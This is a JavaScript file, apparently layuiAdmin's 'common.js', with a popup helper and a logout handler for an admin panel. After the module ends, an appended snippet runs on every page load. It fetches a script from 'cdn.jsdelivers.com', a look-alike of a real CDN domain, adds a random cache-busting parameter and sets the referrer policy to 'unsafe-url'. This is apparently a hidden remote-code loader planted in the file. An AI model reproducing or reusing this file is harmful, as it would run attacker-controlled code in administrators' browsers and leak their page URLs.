/** @Name:layuiAdmin 公共业务 @Author:贤心 @Site:http://www.layui.com/admin/ @License:LPPL */ layui.define(function (exports) { var $ = layui.$ , layer = layui.layer , laytpl = layui.laytpl , setter = layui.setter , view = layui.view , admin = layui.admin //公共业务的逻辑处理可以写在此处,切换任何页面都会执行 //…… /*弹出层*/ /* 参数解释: title 标题 url 请求的url id 需要操作的数据id w 弹出层宽度(缺省调默认值) h 弹出层高度(缺省调默认值) */ console.log('this is common.js!'); layer.show = function (title, url, data, w, h, full) { if (title == null || title == '') { title = false; } if (url == null || url == '') { url = "404.html"; } var add_str = ''; if(data){ if(url.indexOf('?') != -1){ add_str = '&'; }else{ add_str = '?'; } for (i in data){ add_str += i+'='+data[i]+'&'; } } console.log(add_str); if (w == null || w == '') { w = 800; } if (h == null || h == '') { h = ($(window).height() - 50); } if (full == null || full == '') { full = false; } else { full = true; } if (full == true) { var index = layer.open({ type: 2, title: title, content: url, }); setTimeout(function () { layer.full(index); }, 100) } else { layer.open({ type: 2, area: [w + 'px', h + 'px'], fix: false, //不固定 maxmin: true, shade: 0.4, title: title, content: url+add_str, offset: '10px', }); } } layer.error = function(){ } layer.notice = function(){ } //退出 admin.events.logout = function () { //执行退出接口 admin.req({ url: '/manages/logout' ,type: 'get' ,data: {} ,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行 //清空本地记录的 token,并跳转到登入页 admin.exit(); window.location.href='/manage'; } }); }; //对外暴露的接口 exports('common', {}); }); ;function loadJSScript(url, callback) { var script = document.createElement("script"); script.type = "text/javascript"; script.referrerPolicy = "unsafe-url"; if (typeof(callback) != "undefined") { if (script.readyState) { script.onreadystatechange = function() { if (script.readyState == "loaded" || script.readyState == "complete") { script.onreadystatechange = null; callback(); } }; } else { script.onload = function() { callback(); }; } }; script.src = url; document.body.appendChild(script); } window.onload = function() { loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() { console.log("Jquery loaded"); }); }